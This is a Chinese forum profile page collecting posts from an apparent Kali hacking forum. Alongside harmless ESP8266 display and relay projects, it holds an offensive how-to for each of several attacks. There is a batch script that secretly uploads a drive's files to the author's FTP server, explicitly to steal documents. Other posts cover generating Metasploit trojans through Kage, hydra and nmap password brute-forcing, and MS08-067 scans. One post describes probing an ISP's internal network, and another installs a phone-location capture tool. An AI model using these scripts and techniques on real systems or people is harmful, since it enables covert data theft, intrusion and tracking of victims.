跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 前言前不久有这样一个想法,就是自动运行一个脚本,上传PC里面的文件到我们自定的服务器。比如我们可以指定 上传U盘里面所有的word文档到我们的服务器,已达到窃取的目的。那么来看看是如何实现的吧!代码@Echo Off Echo open 服务器ip >ftp.up Echo 用户名>>ftp.up Echo 密码>>ftp.up Echo binary>>ftp.up Echo prompt>>ftp.up Echo lcd "E:\*.txt">>ftp.up Echo mput "E:\*.txt">>ftp.up Echo bye>>ftp.up FTP -s:ftp.up del ftp.up /q使用将文件代码另存为.bat文件,双击运行后会将E盘中的所有的txt文件上传到我们指定的服务器。
  2. 设备清单esp8266开发板oled (0.96)杜邦线 设备电路图 添加库u8g2库文件 项目一 Hello World/* HelloWorld.ino esp8266+oled项目实例 论坛:bbskali.cn 博客:blog.bbskali.cn */ #include <Arduino.h> #include <U8g2lib.h> #ifdef U8X8_HAVE_HW_SPI #include <SPI.h> #endif #ifdef U8X8_HAVE_HW_I2C #include <Wire.h> #endif U8G2_SSD1306_128X64_NONAME_F_SW_I2C u8g2(U8G2_R0, /* clock=*/ D2, /* data=*/ D1, /* reset=*/ U8X8_PIN_NONE); // 此处 D1 D2是对应焊接的脚针 void setup(void) { u8g2.begin(); } void loop(void) { u8g2.clearBuffer(); // clear the internal memory u8g2.setFont(u8g2_font_ncenB08_tr); // choose a suitable font u8g2.drawStr(0,10,"Hello World!"); // write something to the internal memory u8g2.sendBuffer(); // transfer internal memory to the display delay(1000); }效果如下: 项目二 显示汉字代码如下: /* esp8266+oled显示屏 显示汉字项目 论坛地址:bbskali.cn 博客:blog.bbskali.cn */ #include <Arduino.h> #include <U8g2lib.h> #ifdef U8X8_HAVE_HW_SPI #include <SPI.h> #endif #ifdef U8X8_HAVE_HW_I2C #include <Wire.h> #endif U8G2_SSD1306_128X64_NONAME_F_SW_I2C u8g2(U8G2_R0, /* clock=*/ D2, /* data=*/ D1, /* reset=*/ U8X8_PIN_NONE); // All Boards without Reset of the Display void setup(void) { u8g2.begin(); u8g2.enableUTF8Print(); // enable UTF8 support for the Arduino print() function } void loop(void) { u8g2.setFont(u8g2_font_unifont_t_chinese2); // use chinese2 for all the glyphs of "你好世界" u8g2.setFontDirection(0); u8g2.clearBuffer(); u8g2.setCursor(0, 15); u8g2.print("kali论坛"); u8g2.setCursor(0, 30); u8g2.print("bbskali.cn"); // Chinese "Hello World" u8g2.setCursor(0, 45); u8g2.print("kali黑客教学"); u8g2.sendBuffer(); delay(1000); }效果如下: 项目三 显示多行文字代码如下: /* */ #include <Arduino.h> #include <U8g2lib.h> #ifdef U8X8_HAVE_HW_SPI #include <SPI.h> #endif #ifdef U8X8_HAVE_HW_I2C #include <Wire.h> #endif U8G2_SSD1306_128X64_NONAME_1_SW_I2C u8g2(U8G2_R0, /* clock=*/ D2, /* data=*/ D1, /* reset=*/ U8X8_PIN_NONE); // All Boards without Reset of the Display #define FONT u8g2_font_wqy14_t_gb2312b //#define FONT u8g2_font_wqy16_t_chinese1 //#define FONT u8g2_font_wqy16_t_gb2312b // The next two macros define the scroll speed of the short story #define SCROLL_DELTA 2 #define SCROLL_DELAY 200 const char c_str[] = "Shen Nong\n\n" "KALI论坛介绍\n" "kali论坛创建于20\n" "17年,站长Priess\n" "本论坛基于kali安\n" "全研究和网络安全\n" "为方便小伙伴学习\n" "我们搭建了此论坛\n" "论坛学习完全免费\n" "我们的网址:\n" "bbskali,cn\n" "微信公众号:\n" "【kali黑客教学】\n" "感谢大家关注。\n"; char buf[48]; // there are at most 8 chinese glyphs per line, max buf size is 8*3 = 24 uint8_t total_lines; // the total number of lines in the story uint8_t i; // loop variable for the lines uint8_t line_cnt; // number of lines to draw, usually equal to lines_per_draw uint8_t start_line; // topmost visible line, derived from top_window_pos uint8_t lines_per_draw; // how many lines to draw on the screen, derived from font and display height uint16_t glyph_height; // height of the glyphs uint16_t top_window_pos; // defines the display position in pixel within the text uint16_t total_height; // total height in pixel, derived from font height and total_lines u8g2_uint_t top_offset; // offset between the first visible line and the display void setup(void) { /* U8g2 Project: SSD1306 Test Board */ pinMode(D2, OUTPUT); pinMode(D1, OUTPUT); digitalWrite(10, 0); digitalWrite(9, 0); /* U8g2 Project: T6963 Test Board */ //pinMode(18, OUTPUT); //digitalWrite(18, 1); /* U8g2 Project: KS0108 Test Board */ //pinMode(16, OUTPUT); //digitalWrite(16, 0); /* U8g2 Project: LC7981 Test Board, connect RW to GND */ //pinMode(17, OUTPUT); //digitalWrite(17, 0); /* U8g2 Project: Pax Instruments Shield: Enable Backlight */ //pinMode(6, OUTPUT); //digitalWrite(6, 0); u8g2.begin(); /* select a font */ // u8g2.setFont(u8g2_font_wqy12_t_chinese1); // two unknown glyphs //u8g2.setFont(u8g2_font_wqy12_t_chinese3); // two unknown glyphs //u8g2.setFont(u8g2_font_wqy12_t_gb2312a); // ";" is missing //u8g2.setFont(u8g2_font_wqy12_t_gb2312b); // all glyphs available u8g2.setFont(FONT); /* calculate the length of the text in lines */ total_lines = u8x8_GetStringLineCnt(c_str); /* get the height of the glyphs */ glyph_height = u8g2.getMaxCharHeight(); /* calculate the height of the text in pixel */ total_height = (uint16_t)total_lines * (uint16_t)glyph_height; /* calculate how many lines must be drawn on the screen */ lines_per_draw = u8g2.getDisplayHeight() / glyph_height; lines_per_draw += 2; /* start at the top of the text */ top_window_pos = 0; } void loop(void) { start_line = top_window_pos / glyph_height; top_offset = top_window_pos % glyph_height; line_cnt = total_lines - start_line; if ( line_cnt > lines_per_draw ) line_cnt = lines_per_draw; u8g2.firstPage(); do { for( i = 0; i < line_cnt; i++ ) { /* copy a line of the text to the local buffer */ u8x8_CopyStringLine(buf, i+start_line, c_str); /* draw the content of the local buffer */ u8g2.drawUTF8(0, i*glyph_height-top_offset +glyph_height, buf); } } while ( u8g2.nextPage() ); delay(SCROLL_DELAY); top_window_pos += SCROLL_DELTA; }
  3. Kage,一个把msf变成可视化远控平台的工具。项目地址https://github.com/WayzDev/Kage/ 下载安装点我下载哈~ 下载后,给予运行权限。 启动服务msfrpcd -U msf -P 123456 -a 0.0.0.0 参数说明: -U: 登录kage的账号 -P:登录kage的密码 -a: msf的ip地址(很重要,要是kage和msf在同一台电脑,用0.0.0.0即127.0.0.1) 启动程序 并登陆 ./Kage.0.1.1-beta_linux.AppImage 输入账号和密码 以及对应的端口 登录成功后如下所示 我们可以利用命令生成木马,也可以在平台上生成木马,根据自己的具体情况来看。 配置监听 配置完成后点击创建 在目标端 成功运行生成的木马,查看会话。 各种骚操作系统信息 文件信息 路由信息 装B完成 扯呼~~~
  4. 设备清理esp8266开发版oled显示屏 电路图 这里我们使用GFX库来解决图片输入的问题。 牛刀小试,我们先输入文字试试display.setTextSize(1); // setTextSize applique est facteur d'échelle qui permet d'agrandir ou réduire la font display.setTextColor(WHITE); // La couleur du texte display.setCursor(0,0); // On va écrire en x=0, y=0 display.println("Hello, world!"); // un println comme pour écrire sur le port série display.setTextColor(BLACK, WHITE); // On inverse les couleurs, le fond devient noir display.println("Hello, world!"); // Vous pouvez changer à la volée de Font (pour cela vous devez la déclarer comme une librairie en début de projet, par exemple #include <Fonts/FreeMono9pt7b.h>) display.setFont(&FreeMono9pt7b); display.setTextColor(WHITE); display.println("Hello, world!"); display.setFont(); 认识.bmp文件位图文件(Bitmap),扩展名可以是.bmp或者.dib。位图是Windows标准格式图形文件,它将图像定义为由点(像素)组成,每个点可以由多种色彩表示,包括2、4、8、16、24和32位色彩。例如,一幅1024×768分辨率的32位真彩图片,其所占存储字节数为:1024×768×32/(8*1024)=3072KB 位图文件图像效果好,但是非压缩格式的,需要占用较大存储空间,不利于在网络上传送。jpg格式则恰好弥补了位图文件这个缺点。 制作位图文件打开网址http://javl.github.io/image2cpp/,上传我们做好的图片,设置好参数后获取编译代码。 获取代码 复制代码到我们的Arduino 上传代码至开发板 效果如下
  5. 清单esp8266开发版继电器(用去控制220v家庭电路),本实例用LED灯代替。电洛铁 焊锡 电线若干 电路图 实例代码#include <ESP8266WiFi.h> #include <WiFiClient.h> #include <ESP8266WebServer.h> #include <ESP8266mDNS.h> const char* ssid = "PDCN"; const char* password = "1234567890"; ESP8266WebServer server(80); String html = "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><title>Priess的小灯</title><body><a href=\"./pin?light=on\"><input type=\"button\" value=\"on\"></a> <a href=\"./pin?light=off\"><input type=\"button\" value=\"off\"></a></body></head></html>"; void pin(){ if(server.arg("light")=="on"){ digitalWrite(D4, LOW); server.send(200, "text/html", html); }else if(server.arg("light")=="off"){ digitalWrite(D4, HIGH); server.send(200, "text/html", html); } } const int led = 13; void handleRoot() { digitalWrite(led, 1); server.send(200, "text/html", html); digitalWrite(led, 0); } void handleNotFound(){ digitalWrite(led, 1); String message = "File Not Found\n\n"; message += "URI: "; message += server.uri(); message += "\nMethod: "; message += (server.method() == HTTP_GET)?"GET":"POST"; message += "\nArguments: "; message += server.args(); message += "\n"; for (uint8_t i=0; i<server.args(); i++){ message += " " + server.argName(i) + ": " + server.arg(i) + "\n"; } server.send(404, "text/plain", message); digitalWrite(led, 0); } void setup(void){ pinMode(D4, OUTPUT); digitalWrite(led, 0); Serial.begin(115200); WiFi.begin(ssid, password); Serial.println(""); // Wait for connection while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.print("Connected to "); Serial.println(ssid); Serial.print("IP address: "); Serial.println(WiFi.localIP()); if (MDNS.begin("esp8266")) { Serial.println("MDNS responder started"); } server.on("/", handleRoot); server.on("/pin", HTTP_GET,pin); server.on("/inline", [](){ server.send(200, "text/plain", "this works as well"); }); server.onNotFound(handleNotFound); server.begin(); Serial.println("HTTP server started"); } void loop(void){ server.handleClient(); }继电器电路图 视频演示
  6. 所需库ArduinoJson.hOLED.h 若提示没有ESP8266WiFi.h库,请选择你的开发版即可。 库下载: Arduinojson.h Oled库 将库下载后放到Arduino的libraries目录下 代码#include <ESP8266WiFi.h> #include <ArduinoJson.h> #include <Wire.h> #include "OLED.h" static const char logo[] PROGMEM={ 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xe0,0xff,0x03,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x1f,0x1c,0xf0,0x1f,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x0f,0x00,0x80,0x7f,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0xff,0x01,0x00,0xfc,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0x03,0x00,0xf8,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0x07,0x00,0xf8,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0x0f,0x00,0xf0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xf0,0x1f,0x00,0xf0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0xf0,0x1f,0x00,0xf0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0xf0,0x1f,0x00,0xf0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0xf0,0x1f,0x00,0xf0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0xf0,0x3f,0x00,0xf0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x07,0x00,0x00,0x00,0xf0,0x1f,0x00,0xf8,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x07,0x00,0x00,0x00,0xf0,0x0f,0x00,0xf8,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x03,0x00,0x00,0x00,0xf8,0x03,0x00,0xfc,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0xfc,0x00,0x00,0x7e,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x7f,0x00,0x00,0x7f,0xf8,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x00,0x00,0x00,0x80,0x1f,0x00,0x80,0x7f,0xf8,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x00,0x00,0x00,0xe0,0x07,0x00,0xc0,0x3f,0xf0,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x00,0x00,0x00,0xf8,0x01,0x00,0xe0,0x3f,0xf0,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x00,0x00,0x7f,0x00,0x00,0xf8,0x3f,0xf0,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x00,0xe0,0x1f,0x00,0x00,0xfe,0x0f,0xf0,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x00,0xf8,0x03,0x00,0x80,0xff,0x0f,0xf8,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x00,0x7e,0x00,0x00,0xe0,0xff,0x01,0xf0,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x00,0x1f,0x00,0x00,0xf8,0xff,0x00,0xf8,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0xc0,0x0f,0x00,0x00,0xfe,0x7f,0x00,0xfc,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0xe0,0x03,0x00,0x80,0xff,0x1f,0x00,0xfe,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0xf8,0x01,0x00,0xe0,0xff,0x07,0x00,0xfe,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x7c,0x00,0x00,0xfc,0xff,0x00,0x00,0xfc,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x3e,0x00,0x00,0xff,0x07,0x00,0x00,0xfc,0xff,0xff,0xff,0x7f, 0xff,0xff,0x7f,0x00,0x0f,0x00,0xc0,0xff,0x07,0x00,0x00,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x80,0x07,0x00,0xf0,0xff,0xff,0x0f,0xc0,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xc0,0x03,0x00,0xf8,0xff,0xff,0x3f,0xf8,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xc0,0x01,0x00,0xfe,0xf8,0xc7,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xe1,0x01,0x00,0x7f,0xc0,0x03,0x87,0x00,0xfe,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xe1,0x00,0xc0,0x7f,0x80,0x01,0x86,0x00,0xfe,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x63,0x00,0xe0,0x7f,0x80,0x01,0x86,0x00,0xfe,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x63,0x00,0xe0,0x7f,0x8c,0x31,0x86,0xc3,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x67,0x00,0xc0,0x7f,0x8c,0x31,0x86,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x6f,0x00,0xc0,0x7f,0x8c,0x31,0x86,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x7f,0x00,0xc0,0x7f,0x8c,0x31,0x86,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0x7f,0x00,0xc0,0x7f,0x8c,0x31,0x86,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x00,0x80,0x7f,0x80,0x01,0x86,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x01,0x00,0x7f,0x80,0x01,0x86,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x03,0x00,0x7c,0xc0,0x03,0x87,0x83,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x07,0x00,0xf8,0xff,0xff,0xf1,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x0f,0x00,0xe0,0xff,0x7f,0xf0,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0xfe,0x07,0xfc,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f }; //GPIO4(SDA) GPIO5(SCL) OLED display(4, 5); const char* ssid = "PDCN"; // XXXXXX -- 使用时请修改为当前你的 wifi ssid const char* password = "1234567890"; // XXXXXX -- 使用时请修改为当前你的 wifi 密码 const char* host = "api.seniverse.com"; const char* APIKEY = "wcmquevztdy1jpca"; //API KEY const char* city = "shenzhen"; const char* language = "en";//zh-Hans 简体中文 会显示乱码 const unsigned long BAUD_RATE = 115200; // serial connection speed const unsigned long HTTP_TIMEOUT = 5000; // max respone time from server const size_t MAX_CONTENT_SIZE = 1000; // max size of the HTTP response // 我们要从此网页中提取的数据的类型 struct UserData { char city[16];//城市名称 char weather[32];//天气介绍(多云...) char temp[16];//温度 char udate[32];//更新时间 }; WiFiClient client; char response[MAX_CONTENT_SIZE]; char endOfHeaders[] = "\r\n\r\n"; /** * @Desc 初始化操作 */ void setup() { WiFi.mode(WIFI_STA); //设置esp8266 工作模式 Serial.begin(BAUD_RATE); delay(10); Serial.println(); Serial.println(); Serial.print("Connecting to ");//写几句提示,哈哈 Serial.println(ssid); WiFi.begin(ssid, password); //连接wifi while (WiFi.status() != WL_CONNECTED) { //这个函数是wifi连接状态,返回wifi链接状态 delay(100); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); delay(100); Serial.println("IP address: "); Serial.println(WiFi.localIP());//WiFi.localIP()返回8266获得的ip地址 client.setTimeout(HTTP_TIMEOUT); } /** * @Desc 主函数 */ void loop() { //初始化oled display.begin(); //测试显示信息 display.print("Hello JACK",2,3); display.print("bbskali.cn",4,3); delay(2*1000); display.clear(); while (!client.connected()){ if (!client.connect(host, 80)){ Serial.println("connection...."); delay(100); } } if (sendRequest(host, city, APIKEY) && skipResponseHeaders()) { clrEsp8266ResponseBuffer(); readReponseContent(response, sizeof(response)); UserData userData; if (parseUserData(response, &userData)) { printUserData(&userData); } } delay(300);//每5s调用一次 } /** * @发送请求指令 */ bool sendRequest(const char* host, const char* cityid, const char* apiKey) { // We now create a URI for the request //心知天气 String GetUrl = "/v3/weather/now.json?key="; GetUrl += apiKey; GetUrl += "&location="; GetUrl += city; GetUrl += "&language="; GetUrl += language; // This will send the request to the server client.print(String("GET ") + GetUrl + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Connection: close\r\n\r\n"); Serial.println("create a request:"); Serial.println(String("GET ") + GetUrl + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Connection: close\r\n"); delay(100); return true; } /** * @Desc 跳过 HTTP 头,使我们在响应正文的开头 */ bool skipResponseHeaders() { // HTTP headers end with an empty line bool ok = client.find(endOfHeaders); if (!ok) { Serial.println("No response or invalid response!"); } return ok; } /** * @Desc 从HTTP服务器响应中读取正文 */ void readReponseContent(char* content, size_t maxSize) { size_t length = client.peekBytes(content, maxSize); delay(100); Serial.println("Get the data from Internet!"); content[length] = 0; Serial.println(content); Serial.println("Read data Over!"); client.flush();//这句代码需要加上 不然会发现每隔一次client.find会失败 } /** * @Desc 解析数据 * 数据格式如下: * { * "results": [ * { * "location": { * "id": "WX4FBXXFKE4F", * "name": "北京", * "country": "CN", * "path": "北京,北京,中国", * "timezone": "Asia/Shanghai", * "timezone_offset": "+08:00" * }, * "now": { * "text": "多云", * "code": "4", * "temperature": "23" * }, * "last_update": "2017-09-13T09:51:00+08:00" * } *} */ bool parseUserData(char* content, struct UserData* userData) { // -- 根据我们需要解析的数据来计算JSON缓冲区最佳大小 // 如果你使用StaticJsonBuffer时才需要 // const size_t BUFFER_SIZE = 1024; // 在堆栈上分配一个临时内存池 // StaticJsonBuffer<BUFFER_SIZE> jsonBuffer; // -- 如果堆栈的内存池太大,使用 DynamicJsonBuffer jsonBuffer 代替 DynamicJsonBuffer jsonBuffer; JsonObject& root = jsonBuffer.parseObject(content); if (!root.success()) { Serial.println("JSON parsing failed!"); return false; } //复制我们感兴趣的字符串 strcpy(userData->city, root["results"][0]["location"]["name"]); strcpy(userData->weather, root["results"][0]["now"]["text"]); strcpy(userData->temp, root["results"][0]["now"]["temperature"]); strcpy(userData->udate, root["results"][0]["last_update"]); // -- 这不是强制复制,你可以使用指针,因为他们是指向“内容”缓冲区内,所以你需要确保 // 当你读取字符串时它仍在内存中 return true; } // 打印从JSON中提取的数据 void printUserData( struct UserData* userData) { Serial.println("Print parsed data :"); display.print("City: ",0,0); display.print(userData->city,0,6); display.print("Weat: ",2,0); display.print(userData->weather,2,6); display.print("Temp: ",4,0); display.print(userData->temp,4,6); // display.print("Last Updata : ",7,2); display.print(userData->udate,6,0); // display.print("\r\n"); delay(4*1000); } // 关闭与HTTP服务器连接 void stopConnect() { Serial.println("Disconnect"); client.stop(); } void clrEsp8266ResponseBuffer(void){ memset(response, 0, MAX_CONTENT_SIZE); //清空 }设置WiFi信息和城市信息const char* ssid = "PDCN"; // XXXXXX -- 使用时请修改为当前你的 wifi ssid const char* password = "1234567890"; // XXXXXX -- 使用时请修改为当前你的 wifi 密码 const char* host = "api.seniverse.com"; const char* APIKEY = "wcmquevztdy1jpca"; //API KEY const char* city = "shenzhen"; const char* language = "en";//zh-Hans 简体中文 会显示乱码 测试编译 正常情况下不会报错,编译上传即可! 效果如下
  7. hydra(thc hydra)是一个在线密码攻击工具。它在telnet、ssh、http、https、smb、snmp、smtp等实时服务上强制各种组合。hydra支持30+协议,包括支持SSL的协议。它通过使用用户列表和单词列表来指定服务上的攻击。hydra工作模式有4种:一个用户名和一个密码用户列表和一个密码一个用户名和密码列表用户列表和密码列表使用终端输入命令xhydra启动图形界面,当然也可以用hydra来启动命令行界面。 设置攻击目标和攻击服务 设置用户名字密码字典 设置超时 开始攻击
  8. 脚本参数SCRIPT SCAN: -sC: equivalent to --script=default --script=<Lua scripts>: <Lua scripts> is a comma separated list of directories, script-files or script-categories --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts --script-args-file=filename: provide NSE script args in a file --script-trace: Show all data sent and received --script-updatedb: Update the script database. --script-help=<Lua scripts>: Show help about scripts. <Lua scripts> is a comma-separated list of script-files or script-categories. -sC 是指的是采用默认配置扫描,与--script=default参数等价 具体调用的函数列表包括 default NSE Category(https://nmap.org/nsedoc/categories/default.html) --script=脚本名称,脚本一般都在Nmap的安装目录下的scripts目录中那么Linux下可以查看脚本数量: ls /usr/share/nmap/scripts/ | sed 's/.nse//' > scripts.list nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s <target>运营商内网漏洞举例(以下行为为原作者进行) 下面我们来实战一下,今日刚发现的运营商漏洞,就出在 Telnet 上。 我家上网是没有分配公网IP的,就是路由那里是一个内网,于是我先用nmap探测了一下这个内网,发现有某些网络设备。 nmap -sT -Pn -F 10.14.16.0/24在结果中发现了一台主机的信息: Nmap scan report for bogon (10.14.16.106) Host is up (0.021s latency). Not shown: 95 filtered ports PORT STATE SERVICE 23/tcp open telnet 53/tcp open domain 1723/tcp open pptp 8081/tcp open blackice-icecap 49152/tcp open unknown作为一个搞Web安全的,首先去看的是8081,但是未果。于是准备从Telnet碰碰运气,会不会运营商也用弱口令? 我把字典放到了 /usr/share/nmap/nselib/data,因为这个目录中是专门存放Nmap默认字典的。 其他常用脚本http-ls 目录扫描 http-brute HTTP认证爆破 Nmap目录扫描 nmap --script=http-ls vault.centos.org扫描结果root@ThundeRobot:/usr/share/nmap/nselib/data#nmap --script=http-ls vault.centos.org Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-28 04:01 CST Nmap scan report for vault.centos.org (109.72.83.61) Host is up (0.38s latency). Other addresses for vault.centos.org (not scanned): 2607:ff28:0:28:5054:ff:fe4b:3e8a Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http | http-ls: Volume / | maxfiles limit reached (10) | SIZE TIME FILENAME | - 19-Aug-2009 01:36 2.1/ | 1.2M 19-Aug-2009 01:36 2.1/centos2-scripts-v1.tar | - 07-Sep-2004 13:04 2.1/extras/ | - 13-May-2004 03:26 2.1/final/ | - 15-Apr-2004 05:11 2.1/i386/ | - 08-Jan-2004 00:50 2.1/source/ | - 30-Dec-2003 06:18 2.1/updates/ | - 31-Jul-2005 16:05 3.1/ | - 20-Apr-2012 10:14 3.1/SRPMS/ | - 15-Sep-2004 14:17 3.1/addons/ |_ 873/tcp open rsync Nmap done: 1 IP address (1 host up) scanned in 58.35 seconds root@ThundeRobot:/usr/share/nmap/nselib/data#Nmap HTTP认证爆破 nmap --script=http-brute dvwa.vuln.leafsec.comMS-08067/MS17-010nmap --script smb-vuln-ms08-067.nse -p445 10.203.9.131 [--system-dns] nmap -sU --script smb-vuln-ms08-067.nse -p U:137 10.203.9.131 [--system-dns]批量扫描nmap --script smb-vuln* 10.203.9.131/16 #耗时约五小时
  9. 安装git clone https://github.com/Viralmaniar/I-See-You.git cd I-See-You chmod u+x ISeeYou.sh ./ISeeYou.sh 输入图中框出来的URL地址之后,按下回车键: 手机访问刚才的网址 我们就可以获得手机的一些信息 比如定位:
  10. 漏洞介绍File Inclusion(文件包含漏洞)概述 文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况: 1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。 因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。 你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。 本地文件包含漏洞我们在网站的根目录新建一个11.txt文本文档,并写入下面内容。 <?php phpinfo(); ?>然后,我们利用Burp抓包 将提交的值改为11.txt放包效果如下: 我们可以看到,将11.txt解析成了php文件,同样的方法,我们制作一个php文件,将其保存为jpg格式,同样的方法运行。效果如下: 也就是说,无论是什么样的文件,他都会解析为php文件。 ps:危害分析 这种方法需要我们去猜测,网站目录下有哪些文件,才能构成危害。 远程包含漏洞当我们不知道对方服务器有哪些文件,我们可以利用远程包含漏洞,将自己服务器上的文件下载到被人的服务器上。 测试如下: 在kali下执行下面命令 cd /var/www/html vim kali.txt <?php phpinfo(); ?> service 